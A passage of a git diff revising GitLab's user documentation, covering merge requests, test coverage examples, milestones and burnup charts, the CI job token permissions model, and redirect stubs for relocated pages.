red due to a failed CI pipeline, the `merge` button When the pipeline fails in a merge request but it can be merged nonetheless, the **Merge** button will be colored in red. @@ -245,7 +232,7 @@ you can preview the changes submitted to a feature-branch through a merge reques in a per-branch basis. No need to checkout the branch, install and preview locally; all your changes will be available to preview by anyone with the Review Apps link. -With GitLab's [Route Maps](../../../ci/review_apps/index.md#route-maps) set, the +With GitLab [Route Maps](../../../ci/review_apps/index.md#route-maps) set, the merge request widget takes you directly to the pages changed, making it easier and faster to preview proposed modifications. @@ -296,7 +283,7 @@ Merge Request again. Here are some tips that will help you be more efficient with merge requests in the command line. -NOTE: **Note:** +NOTE: This section might move in its own document in the future. ### Copy the branch name for local checkout diff --git a/doc/user/project/merge_requests/sast.md b/doc/user/project/merge_requests/sast.md index 165290eb114..11f85749fb7 100644 --- a/doc/user/project/merge_requests/sast.md +++ b/doc/user/project/merge_requests/sast.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/sast/index.md' --- This document was moved to [another location](../../application_security/sast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/sast_docker.md b/doc/user/project/merge_requests/sast_docker.md index a062731ea35..5d61f2b36e8 100644 --- a/doc/user/project/merge_requests/sast_docker.md +++ b/doc/user/project/merge_requests/sast_docker.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/container_scanning/index.md' --- This document was moved to [another location](../../application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md index 68f5478038a..5c466654b31 100644 --- a/doc/user/project/merge_requests/squash_and_merge.md +++ b/doc/user/project/merge_requests/squash_and_merge.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -27,7 +27,7 @@ Into a single commit on merge:  -NOTE: **Note:** +NOTE: The squashed commit in this example is followed by a merge commit, because the merge method for this repository uses a merge commit. You can disable merge commits in **Project Settings > General > Merge requests > Merge method > Fast-forward merge**. @@ -36,7 +36,7 @@ The squashed commit's commit message will be either: - Taken from the first multi-line commit message in the merge. - The merge request's title if no multi-line commit message is found. -NOTE: **Note:** +NOTE: This only takes effect if there are at least 2 commits. As there is nothing to squash, the commit message does not change if there is only 1 commit. It can be customized before merging a merge request. @@ -129,7 +129,7 @@ submitted to your project: The Squash and Merge checkbox is displayed when you create a merge request and when you edit the description of an existing one, except when Squash Commit Options is set to **Do not allow** or **Require**. -NOTE: **Note:** +NOTE: If your project is set to **Do not allow** Squash and Merge, the users still have the option to squash commits locally through the command line and force-push to their remote branch before merging. diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md index 039f0f7d5e1..c38b28f7718 100644 --- a/doc/user/project/merge_requests/test_coverage_visualization.md +++ b/doc/user/project/merge_requests/test_coverage_visualization.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -51,7 +51,7 @@ from any job in any stage in the pipeline. The coverage will be displayed for ea Hovering over the coverage bar will provide further information, such as the number of times the line was checked by tests. -NOTE: **Note:** +NOTE: The Cobertura XML parser currently does not support the `sources` element and ignores it. It is assumed that the `filename` of a `class` element contains the full path relative to the project root. @@ -60,7 +60,7 @@ the `filename` of a `class` element contains the full path relative to the proje ### JavaScript example The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example uses [Mocha](https://mochajs.org/) -JavaScript testing and [NYC](https://github.com/istanbuljs/nyc) coverage-tooling to +JavaScript testing and [nyc](https://github.com/istanbuljs/nyc) coverage-tooling to generate the coverage artifact: ```yaml @@ -78,7 +78,7 @@ test: #### Maven example The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Java or Kotlin uses [Maven](https://maven.apache.org/) -to build the project and [Jacoco](https://www.eclemma.org/jacoco/) coverage-tooling to +to build the project and [JaCoCo](https://www.eclemma.org/jacoco/) coverage-tooling to generate the coverage artifact. You can check the [Docker image configuration and scripts](https://gitlab.com/haynes/jacoco2cobertura) if you want to build your own image. @@ -118,7 +118,7 @@ coverage-jdk11: #### Gradle example The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Java or Kotlin uses [Gradle](https://gradle.org/) -to build the project and [Jacoco](https://www.eclemma.org/jacoco/) coverage-tooling to +to build the project and [JaCoCo](https://www.eclemma.org/jacoco/) coverage-tooling to generate the coverage artifact. You can check the [Docker image configuration and scripts](https://gitlab.com/haynes/jacoco2cobertura) if you want to build your own image. @@ -154,3 +154,23 @@ coverage-jdk11: reports: cobertura: build/cobertura.xml ``` + +### Python example + +The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Python uses [pytest-cov](https://pytest-cov.readthedocs.io/) to collect test coverage data and [coverage.py](https://coverage.readthedocs.io/) to convert the report to use full relative paths. +The information isn't displayed without the conversion. + +This example assumes that the code for your package is in `src/` and your tests are in `tests.py`: + +```yaml +run tests: + stage: test + image: python:3 + script: + - pip install pytest pytest-cov + - pytest --cov=src/ tests.py + - coverage xml + artifacts: + reports: + cobertura: coverage.xml +``` diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md index b298c62a5e6..9661a02a767 100644 --- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md +++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index description: "Test your code and display reports in merge requests" --- diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md index 0922ffb2943..4ad960413ef 100644 --- a/doc/user/project/merge_requests/versions.md +++ b/doc/user/project/merge_requests/versions.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -22,8 +22,8 @@ can select an older one from version dropdown.  Merge request versions are based on push not on commit. So, if you pushed 5 -commits in a single push, it will be a single option in the dropdown. If you -pushed 5 times, that will count for 5 options. +commits in a single push, it displays as a single option in the dropdown. If you +pushed 5 times, that counts for 5 options. You can also compare the merge request version with an older one to see what has changed since then. @@ -42,12 +42,12 @@ changes appears as a system note. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/2383) in GitLab 10.5. -When viewing the commit details page, GitLab will link to the merge request (or +When viewing the commit details page, GitLab links to the merge request (or merge requests, if it's in more than one) containing that commit. This only applies to commits that are in the most recent version of a merge -request - if a commit was in a merge request, then rebased out of that merge -request, they will not be linked. +request - if commits were in a merge request, then rebased out of that merge +request, they aren't linked. ## `HEAD` comparison mode for Merge Requests diff --git a/doc/user/project/merge_requests/work_in_progress_merge_requests.md b/doc/user/project/merge_requests/work_in_progress_merge_requests.md index 2218d38fdad..7417320eea0 100644 --- a/doc/user/project/merge_requests/work_in_progress_merge_requests.md +++ b/doc/user/project/merge_requests/work_in_progress_merge_requests.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -14,6 +14,12 @@ being merged, and it will stay disabled until the "Draft" flag has been removed.  +When [pipelines for merged results](../../../ci/merge_request_pipelines/pipelines_for_merged_results/index.md) +is enabled, draft merge requests run [merge request pipelines](../../../ci/merge_request_pipelines/index.md) +only. + +To run pipelines for merged results, you must [remove the draft status](#removing-the-draft-flag-from-a-merge-request). + ## Adding the "Draft" flag to a merge request > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32692) in GitLab 13.2, Work-In-Progress (WIP) merge requests were renamed to **Draft**. Support for using **WIP** will be removed in GitLab 14.0. diff --git a/doc/user/project/milestones/burndown_and_burnup_charts.md b/doc/user/project/milestones/burndown_and_burnup_charts.md index ae03be5fa0f..3e266d054be 100644 --- a/doc/user/project/milestones/burndown_and_burnup_charts.md +++ b/doc/user/project/milestones/burndown_and_burnup_charts.md @@ -2,7 +2,7 @@ type: reference stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Burndown and burnup charts **(STARTER)** @@ -66,7 +66,7 @@ and you follow this workflow: A burndown chart is available for every project or group milestone that has been attributed a **start date** and a **due date**. -NOTE: **Note:** +NOTE: You're able to [promote project](index.md#promoting-project-milestones-to-group-milestones) to group milestones and still see the **burndown chart** for them, respecting license limitations. The chart indicates the project's progress throughout that milestone (for issues assigned to it). @@ -104,13 +104,7 @@ Reopened issues are considered as having been opened on the day after they were ## Burnup charts > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6903) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.6. -> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-burnup-charts). **(STARTER ONLY)** - -CAUTION: **Warning:** -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268350) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7. Burnup charts show the assigned and completed work for a milestone. @@ -136,25 +130,6 @@ Burnup charts can show either the total number of issues or total weight for eac day of the milestone. Use the toggle above the charts to switch between total and weight. -### Enable or disable burnup charts **(STARTER ONLY)** - -Burnup charts is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:burnup_charts) -``` - -To disable it: - -```ruby -Feature.disable(:burnup_charts) -``` - <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/project/milestones/burndown_charts.md b/doc/user/project/milestones/burndown_charts.md index 5d9e6b67bb8..2985e5da2ab 100644 --- a/doc/user/project/milestones/burndown_charts.md +++ b/doc/user/project/milestones/burndown_charts.md @@ -1,5 +1,8 @@ --- -redirect_to: './burndown_and_burnup_charts.md' +redirect_to: 'burndown_and_burnup_charts.md' --- This document was moved to [another location](burndown_and_burnup_charts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/milestones/img/milestones_new_group_milestone.png b/doc/user/project/milestones/img/milestones_new_group_milestone.png Binary files differdeleted file mode 100644 index 5bbe8e51f23..00000000000 --- a/doc/user/project/milestones/img/milestones_new_group_milestone.png +++ /dev/null diff --git a/doc/user/project/milestones/img/milestones_new_group_milestone_v13_5.png b/doc/user/project/milestones/img/milestones_new_group_milestone_v13_5.png Binary files differnew file mode 100644 index 00000000000..a865221c5d7 --- /dev/null +++ b/doc/user/project/milestones/img/milestones_new_group_milestone_v13_5.png diff --git a/doc/user/project/milestones/img/milestones_new_project_milestone.png b/doc/user/project/milestones/img/milestones_new_project_milestone.png Binary files differindex 2d0bdce542d..9207c9f1f7c 100644 --- a/doc/user/project/milestones/img/milestones_new_project_milestone.png +++ b/doc/user/project/milestones/img/milestones_new_project_milestone.png diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md index 9c47f15cb8f..acf32bb0f92 100644 --- a/doc/user/project/milestones/index.md +++ b/doc/user/project/milestones/index.md @@ -2,10 +2,10 @@ type: index, reference stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Milestones +# Milestones **(CORE)** Milestones in GitLab are a way to track issues and merge requests created to achieve a broader goal in a certain period of time. @@ -27,7 +27,7 @@ Similarly, milestones can be used as releases. To do so: 1. Set the milestone title to the version of your release, such as `Version 9.4`. 1. Add an issue to your release by associating the desired milestone from the issue's right-hand sidebar. -Additionally, you can integrate milestones with GitLab's [Releases feature](../releases/index.md#associate-milestones-with-a-release). +Additionally, you can integrate milestones with the [Releases feature](../releases/index.md#associate-milestones-with-a-release). ## Project milestones and group milestones @@ -46,14 +46,14 @@ For information about project and group milestones API, see: - [Project Milestones API](../../../api/milestones.md) - [Group Milestones API](../../../api/group_milestones.md) -NOTE: **Note:** -If you're in a group and click **Issues > Milestones**, you'll see group milestones and the milestones -of projects in this group. -If you're in a project and click **Issues > Milestones**, you'll only see this project's milestones. +NOTE: +If you're in a group and click **Issues > Milestones**, GitLab displays group milestones +and the milestones of projects in this group. +If you're in a project and click **Issues > Milestones**, GitLab displays only this project's milestones. ## Creating milestones -NOTE: **Note:** +NOTE: A permission level of [Developer or higher](../../permissions.md) is required to create milestones. ### New project milestone @@ -76,11 +76,11 @@ To create a **group milestone**: 1. Enter the title, an optional description, an optional start date, and an optional due date. 1. Click **New milestone**. - + ## Editing milestones -NOTE: **Note:** +NOTE: A permission level of [Developer or higher](../../permissions.md) is required to edit milestones. To edit a milestone: @@ -93,12 +93,21 @@ You can delete a milestone by clicking the **Delete** button. ### Promoting project milestones to group milestones -If you are expanding from a few projects to a larger number of projects within the same group, you may want to share the same milestone among multiple projects in the same group. If you previously created a project milestone and now want to make it available for other projects within the same group, you can promote it to a group milestone. +If you are expanding the number of projects in a group, you might want to share the same milestones +among this group's projects. You can also promote project milestones to group milestones in order to +make them available to other projects in the same group. -From the project milestone list page, you can promote a project milestone to a group milestone. This will merge all project milestones across all projects in this group with the same name into a single group milestones. All issues and merge requests that previously were assigned one of these project milestones will now be assigned the new group milestones. This action cannot be reversed and the changes are permanent. +From the project milestone list page, you can promote a project milestone to a group milestone. +This merges all project milestones across all projects in this group with the same name into a single +group milestones. All issues and merge requests that were previously assigned to one of these project +milestones is assigned the new group milestones. This action cannot be reversed and the changes are +permanent. -CAUTION: **Caution:** -From GitLab 12.4 and earlier, some information is lost when you promote a project milestone to a group milestone. Not all features on the project milestone view are available on the group milestone view. If you promote a project milestone to a group milestone, you will lose these features. See [Milestone view](#milestone-view) to see which features are missing from the group milestone view. +WARNING: +From GitLab 12.4 and earlier, some information is lost when you promote a project milestone to a +group milestone. Not all features on the project milestone view are available on the group milestone +view. If you promote a project milestone to a group milestone, you lose these features. Visit +[Milestone view](#milestone-view) to learn which features are missing from the group milestone view.  @@ -110,7 +119,7 @@ Every issue and merge request can be assigned a milestone. The milestones are vi ### Filtering in list pages -From the project issue/merge request list pages and the group issue/merge request list pages, you can [filter](../../search/index.md#issues-and-merge-requests) by both group milestones and project milestones. +From the project and group issue/merge request list pages, you can [filter](../../search/index.md#issues-and-merge-requests) by both group and project milestones. ### Filtering in issue boards @@ -125,7 +134,7 @@ When filtering by milestone, in addition to choosing a specific project mileston - **None**: Show issues or merge requests with no assigned milestone. - **Any**: Show issues or merge requests that have an assigned milestone. -- **Upcoming**: Show issues or merge requests that have been assigned the open milestone that has the next upcoming due date (i.e. nearest due date in the future). +- **Upcoming**: Show issues or merge requests that have been assigned the open milestone and has the nearest due date in the future. - **Started**: Show issues or merge requests that have an open assigned milestone with a start date that is before today. ## Milestone view @@ -148,13 +157,13 @@ There are also tabs below these that show the following: ### Project Burndown Charts **(STARTER)** -For project milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone. +For project milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, showing the progress of completing a milestone.  ### Group Burndown Charts **(STARTER)** -For group milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone. +For group milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, showing the progress of completing a milestone. ### Milestone sidebar diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md index a7a72ca4d82..fd7c58f12b9 100644 --- a/doc/user/project/new_ci_build_permissions_model.md +++ b/doc/user/project/new_ci_build_permissions_model.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -34,9 +34,9 @@ The reasons to do it like that are: With the new behavior, any job that is triggered by the user, is also marked with their read permissions. When a user does a `git push` or changes files through -the web UI, a new pipeline will be usually created. This pipeline will be marked +the web UI, a new pipeline is usually created. This pipeline is marked as created by the pusher (local push or via the UI) and any job created in this -pipeline will have the read permissions of the pusher but not write permissions. +pipeline has the read permissions of the pusher but not write permissions. This allows us to make it really easy to evaluate the access for all projects that have [Git submodules](../../ci/git_submodules.md) or are using container images that the pusher @@ -47,14 +47,14 @@ is running. The access is revoked after the job is finished.** It is important to note that we have a few types of users: -- **Administrators**: CI jobs created by Administrators will not have access +- **Administrators**: CI jobs created by Administrators don't have access to all GitLab projects, but only to projects and container images of projects that the administrator is a member of. That means that if a project is either public or internal users have access anyway, but if a project is private, the - Administrator will have to be a member of it in order to have access to it + Administrator has to be a member of it in order to have access to it via another project's job. -- **External users**: CI jobs created by [external users](../permissions.md#external-users) will have +- **External users**: CI jobs created by [external users](../permissions.md#external-users) have access only to projects to which the user has at least Reporter access. This rules out accessing all internal projects by default. @@ -75,7 +75,9 @@ Let's consider the following scenario: A unique job token is generated for each job and provides the user read access all projects that would be normally accessible to the user creating that job. The unique job token does not have any write permissions, but there -is a [proposal to add support](https://gitlab.com/gitlab-org/gitlab/-/issues/35067). +is a [proposal to add support](https://gitlab.com/groups/gitlab-org/-/epics/3559). + +If you need your CI pipeline to push to the Package Registry, consider using [deploy tokens](deploy_tokens/index.md). We try to make sure that this token doesn't leak by: @@ -149,8 +151,8 @@ the container registry. ### Prerequisites to use the new permissions model -With the new permissions model in place, there may be times that your job will -fail. This is most likely because your project tries to access other project's +With the new permissions model in place, there may be times that your job +fails. This is most likely because your project tries to access other project's sources, and you don't have the appropriate permissions. In the job log look for information about 403 or forbidden access messages. @@ -158,7 +160,7 @@ In short here's what you need to do should you encounter any issues. As an administrator: -- **500 errors**: You will need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at +- **500 errors**: You need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at least 0.8.2. This is done automatically for Omnibus installations, you need to [check manually](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/update) for installations from source. - **500 errors**: Check if you have another web proxy sitting in front of NGINX (HAProxy, @@ -185,7 +187,7 @@ git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/<user>/<mydependent ``` It can also be used for system-wide authentication -(only do this in a Docker container, it will overwrite ~/.netrc): +(only do this in a Docker container, it overwrites `~/.netrc`): ```shell echo -e "machine gitlab.com\nlogin gitlab-ci-token\npassword ${CI_JOB_TOKEN}" > ~/.netrc @@ -201,18 +203,17 @@ To properly configure submodules with GitLab CI/CD, read the With the update permission model we also extended the support for accessing Container Registries for private projects. -> **Notes:** -> -> - GitLab Runner versions prior to 1.8 don't incorporate the introduced changes -> for permissions. This makes the `image:` directive not work with private -> projects automatically and it needs to be configured manually on the GitLab Runner host -> with a predefined account (for example administrator's personal account with -> access token created explicitly for this purpose). This issue is resolved with -> latest changes in GitLab Runner 1.8 which receives GitLab credentials with -> build data. -> - Starting from GitLab 8.12, if you have [2FA](../profile/account/two_factor_authentication.md) enabled in your account, you need -> to pass a [personal access token](../profile/personal_access_tokens.md) instead of your password in order to -> login to GitLab's Container Registry. +GitLab Runner versions prior to 1.8 don't incorporate the introduced changes +for permissions. This makes the `image:` directive not work with private +projects automatically and it needs to be configured manually on the GitLab Runner host +with a predefined account (for example administrator's personal account with +access token created explicitly for this purpose). This issue is resolved with +latest changes in GitLab Runner 1.8 which receives GitLab credentials with +build data. + +Starting from GitLab 8.12, if you have [2FA](../profile/account/two_factor_authentication.md) enabled in your account, you need +to pass a [personal access token](../profile/personal_access_tokens.md) instead of your password in order to +login to the Container Registry. Your jobs can access all container images that you would normally have access to. The only implication is that you can push to the Container Registry of the diff --git a/doc/user/project/operations/alert_management.md b/doc/user/project/operations/alert_management.md index 0feed7dbf40..e60e7d93d12 100644 --- a/doc/user/project/operations/alert_management.md +++ b/doc/user/project/operations/alert_management.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/index.md' --- This document was moved to [another location](../../../operations/incident_management/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/dashboard_settings.md b/doc/user/project/operations/dashboard_settings.md index 2640f2cf98f..ef106181acc 100644 --- a/doc/user/project/operations/dashboard_settings.md +++ b/doc/user/project/operations/dashboard_settings.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/settings.md' --- This document was moved to [another location](../../../operations/metrics/dashboards/settings.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/error_tracking.md b/doc/user/project/operations/error_tracking.md index 3c00c4a6c41..399ab0d53dc 100644 --- a/doc/user/project/operations/error_tracking.md +++ b/doc/user/project/operations/error_tracking.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/error_tracking.md' --- This document was moved to [another location](../../../operations/error_tracking.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/feature_flags.md b/doc/user/project/operations/feature_flags.md index b0f7cfc966a..03f2cad6d78 100644 --- a/doc/user/project/operations/feature_flags.md +++ b/doc/user/project/operations/feature_flags.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/feature_flags.md' --- This document was moved to [another location](../../../operations/feature_flags.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/index.md b/doc/user/project/operations/index.md index 9cec578bc5e..d19cf393883 100644 --- a/doc/user/project/operations/index.md +++ b/doc/user/project/operations/index.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/index.md' --- This document was moved to [another location](../../../operations/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/linking_to_an_external_dashboard.md b/doc/user/project/operations/linking_to_an_external_dashboard.md index 2640f2cf98f..ef106181acc 100644 --- a/doc/user/project/operations/linking_to_an_external_dashboard.md +++ b/doc/user/project/operations/linking_to_an_external_dashboard.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/settings.md' --- This document was moved to [another location](../../../operations/metrics/dashboards/settings.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/tracing.md b/doc/user/project/operations/tracing.md index 87567f45560..dcf9894f9e1 100644 --- a/doc/user/project/operations/tracing.md +++ b/doc/user/project/operations/tracing.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/tracing.md' --- This document was moved to [another location](../../../operations/tracing.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven.md b/doc/user/project/packages/maven.md index 8378b8c78cd..13b5d69586a 100644 --- a/doc/user/project/packages/maven.md +++ b/doc/user/project/packages/maven.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md' --- This document was moved to [another location](../../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven_packages.md b/doc/user/project/packages/maven_packages.md index 8378b8c78cd..13b5d69586a 100644 --- a/doc/user/project/packages/maven_packages.md +++ b/doc/user/project/packages/maven_packages.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md' --- This document was moved to [another location](../../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven_repository.md b/doc/user/project/packages/maven_repository.md index 8378b8c78cd..13b5d69586a 100644 --- a/doc/user/project/packages/maven_repository.md +++ b/doc/user/project/packages/maven_repository.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md' --- This document was moved to [another location](../../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/npm_registry.md b/doc/user/project/packages/npm_registry.md index e94599cf33a..f874b05e7e2 100644 --- a/doc/user/project/packages/npm_registry.md +++ b/doc/user/project/packages/npm_registry.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/npm_registry/index.md' --- This document was moved to [another location](../../packages/npm_registry/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md index 810538ab460..4aa89ec6f8d 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md @@ -1,8 +1,8 @@ --- type: concepts stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # DNS records overview @@ -23,7 +23,7 @@ GitLab Pages site. Note that **how to** add DNS records depends on which server your domain is hosted on. Every control panel has its own place to do it. If you are -not an admin of your domain, and don't have access to your registrar, +not an administrator of your domain, and don't have access to your registrar, you'll need to ask for the technical support of your hosting service to do it for you. diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md index 9b43dd58afe..f8173b4c004 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md @@ -1,8 +1,8 @@ --- disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pages/getting_started_part_three.html' stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Custom domains and SSL/TLS Certificates @@ -84,7 +84,7 @@ server running on your instance).  -CAUTION: **Caution:** +WARNING: Note that if you use your root domain for your GitLab Pages website **only**, and if your domain registrar supports this feature, you can add a DNS apex `CNAME` record instead of an `A` record. The main @@ -157,7 +157,7 @@ Once you have added all the DNS records: As soon as your domain becomes active, your website will be available through your domain name. -CAUTION: **Caution:** +WARNING: Considering GitLab instances with domain verification enabled, if the domain cannot be verified for 7 days, it will be removed from the GitLab project. @@ -167,7 +167,7 @@ from the GitLab project. > - Domain verification is **required for GitLab.com users**; for GitLab self-managed instances, your GitLab administrator has the option to [disabled custom domain verification](../../../../administration/pages/index.md#custom-domain-verification). -> - [DNS propagation may take some time (up to 24h)](https://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/domain-names-dns-changes/), +> - [DNS propagation may take some time (up to 